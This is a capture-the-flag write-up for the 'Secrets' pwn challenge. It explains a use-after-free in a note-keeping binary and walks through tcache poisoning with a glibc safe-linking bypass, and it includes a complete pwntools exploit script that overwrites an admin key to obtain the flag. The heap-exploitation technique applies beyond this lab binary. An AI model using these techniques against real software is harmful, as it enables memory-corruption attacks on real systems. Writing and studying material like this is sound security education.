Secrets
Secrets
Platform: grodno_new_year_2026 | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-11 | Status: Solved Techniques: tcache_poisoning, safe_linking_bypass, use_after_free
Summary
Connection: nc ctf.mf.grsu.by 9072
Secrets — Grodno New Year 2026
Description
Василий верит, что память умеет хранить секреты. Vasily believes that memory can keep secrets.
Connection: nc ctf.mf.grsu.by 9072
Files:
secrets- ELF binarylibc.so.6- glibc 2.41ld-linux-x86-64.so.2
Analysis
Binary Protections
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Important: PIE is disabled - addresses are static!
Key Addresses
c read-only • copy allowedadmin_key @ 0x4040c0 // Buffer for checking "HACKED" notes[] @ 0x4040e0 // Array of pointers to notes
Program Functionality
| Option | Function | Description |
|---|---|---|
| 1 | Alloc Note | malloc(0x30), stores pointer in notes[idx], reads 0x30 bytes |
| 2 | Free Note | free(notes[idx]), does NOT null the pointer |
| 3 | Edit Note | Reads 0x30 bytes into notes[idx] (works with freed chunks!) |
| 4 | Read Note | Outputs 0x30 bytes from notes[idx] |
| 5 | Check Admin | Compares admin_key with "HACKED", outputs flag on match |
| |
Vulnerability: Use-After-Free (UAF)
After free_note() the pointer in notes[] is not nulled:
c read-only • copy allowedvoid free_note(int idx) { free(notes[idx]); // notes[idx] = NULL; // MISSING! }
This allows:
- Reading freed chunk (leak tcache data)
- Writing to freed chunk (poison tcache fd)
Exploitation
Technique: Tcache Poisoning + Safe-Linking Bypass
With glibc 2.32+ tcache uses safe-linking - pointers are XOR'd with a key:
c read-only • copy allowed// Safe-linking protection encoded_ptr = ptr ^ (location >> 12)
Bypass:
- First freed chunk has
fd = NULL ^ key = key - Read via UAF → get the key
- Encode target address:
target ^ key
Attack Plan
┌─────────────────────────────────────────────────────────┐
│ 1. Alloc chunks 0, 1, 2 │
├─────────────────────────────────────────────────────────┤
│ 2. Free chunk 0 → tcache: [chunk0] → NULL │
│ fd = NULL ^ key = key (leak!) │
├─────────────────────────────────────────────────────────┤
│ 3. Read chunk 0 (UAF) → get safe-linking key │
├─────────────────────────────────────────────────────────┤
│ 4. Free chunk 1 → tcache: [chunk1] → [chunk0] │
├─────────────────────────────────────────────────────────┤
│ 5. Edit chunk 1 (UAF) → fd = admin_key ^ key │
│ tcache: [chunk1] → [admin_key] → ??? │
├─────────────────────────────────────────────────────────┤
│ 6. Alloc chunk 4 → get chunk1 back │
├─────────────────────────────────────────────────────────┤
│ 7. Alloc chunk 5 → tcache returns admin_key! │
│ Write "HACKED\x00" │
├─────────────────────────────────────────────────────────┤
│ 8. Check Admin (option 5) → FLAG! │
└─────────────────────────────────────────────────────────┘
Solution
python read-only • copy allowed#!/usr/bin/env python3 """ Secrets - Grodno New Year 2026 CTF Tcache poisoning with safe-linking bypass (glibc 2.41) """ from pwn import * context.binary = './secrets' context.log_level = 'info' ADMIN_KEY = 0x4040c0 def alloc(p, idx, data): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Index (0-9): ', str(idx).encode()) p.sendafter(b'Enter data: ', data.ljust(0x30, b'\x00')) def free(p, idx): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'Index (0-9): ', str(idx).encode()) def edit(p, idx, data): p.sendlineafter(b'> ', b'3') p.sendlineafter(b'Index (0-9): ', str(idx).encode()) p.sendafter(b'New data: ', data.ljust(0x30, b'\x00')) def read(p, idx): p.sendlineafter(b'> ', b'4') p.sendlineafter(b'Index (0-9): ', str(idx).encode()) return p.recvn(0x30) def check_admin(p): p.sendlineafter(b'> ', b'5') def exploit(): # p = process('./secrets') p = remote('ctf.mf.grsu.by', 9072) # Step 1: Allocate 3 chunks log.info("Allocating chunks 0, 1, 2...") for i in range(3): alloc(p, i, b'A' * 0x10) # Step 2: Free chunk 0 to leak safe-linking key log.info("Freeing chunk 0...") free(p, 0) # Step 3: Read freed chunk 0 (UAF) - get safe-linking key data = read(p, 0) key = u64(data[:8]) log.success(f"Safe-linking key: {hex(key)}") # Step 4: Free chunk 1 log.info("Freeing chunk 1...") free(p, 1) # Step 5: Poison tcache - overwrite fd to point to admin_key encoded_admin_key = ADMIN_KEY ^ key log.info(f"Encoded admin_key: {hex(encoded_admin_key)}") edit(p, 1, p64(encoded_admin_key)) # Step 6: Allocate to consume chunk1 log.info("Allocating chunk 4 (gets chunk1 back)...") alloc(p, 4, b'B' * 0x10) # Step 7: Allocate again - tcache returns admin_key address! log.info("Allocating chunk 5 at admin_key...") alloc(p, 5, b'HACKED\x00') # Step 8: Trigger flag output log.info("Checking admin key...") check_admin(p) # Receive flag result = p.recvall(timeout=3) print(result.decode()) p.close() if __name__ == '__main__': exploit()
Flag Analysis
The flag REDACTED reads as:
"Admin ne zabyl tcache poisoned" (Admin didn't forget - tcache poisoned)
This is a direct hint to the exploitation technique!
Additional Notes
Safe-Linking (glibc 2.32+)
c read-only • copy allowed// Pointer encoding #define PROTECT_PTR(pos, ptr) \ ((__typeof(ptr))((((size_t)pos) >> 12) ^ ((size_t)ptr))) // Decoding #define REVEAL_PTR(ptr) \ PROTECT_PTR(&ptr, ptr)
Why Does the Key Leak Work?
The first freed chunk in tcache bin has fd = NULL:
encoded_fd = NULL ^ (chunk_addr >> 12) = key
By reading this fd via UAF, we get the raw key!
References
- Safe-Linking - Check Point Research
- how2heap - tcache_poisoning